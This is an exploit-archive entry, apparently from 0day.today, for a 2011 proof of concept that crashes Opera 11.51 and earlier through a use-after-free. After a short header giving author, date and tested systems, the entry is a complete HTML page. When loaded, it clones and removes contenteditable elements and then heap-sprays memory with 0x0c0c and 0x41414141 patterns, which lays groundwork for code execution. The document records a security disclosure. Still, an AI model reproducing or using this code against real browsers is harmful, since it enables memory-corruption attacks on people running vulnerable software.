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Opera <= 11.51 Use After Free Crash PoC
[# Exploit Title: Opera Use After Free - Crash PoC
# Date: 20 October 2011
# Author: Roberto Suggi Liverani
# Software Link: www.opera.com
# Version: 11.51 and previous versions
# Tested on: Windows XP and Windows 7
# CVE : n/a
# Link: http://malerisch.net/docs/advisories/opera_use_after_free_crash_poc.html
<html>
<head>
<script>
function spray() {
for(S="\u0c0c",k=[],y=0;y++<197;)y<20?S+=S:k[y]=[S.substr(22)+"\u4141\u4141"].join("")
}
function crash(){
// Clone Object -> Remove Object - > Append Reference)
obj = document.body.children[0].cloneNode(true)
document.body.removeChild(document.body.children[0])
document.body.appendChild(obj)
// Clone Object -> Remove Object - > Append Reference)
obj = document.body.children[0].cloneNode(true)
document.body.removeChild(document.body.children[0])
document.body.appendChild(obj)
// Clone Object -> Remove Object - > Append Reference)
obj = document.body.children[0].cloneNode(true)
document.body.removeChild(document.body.children[0])
document.body.appendChild(obj)
// Clone Object -> Remove Object - > Heap Spray
obj = document.body.children[1].cloneNode(true)
document.body.removeChild(document.body.children[1]);
spray(); // if this is removed Opera won't crash
}
</script>
</head>
<body onload="crash();">
<em contenteditable="true">a</em>
<strong contenteditable="true">a</strong>
</body>
</html>
# 0day.today [2024-07-05] #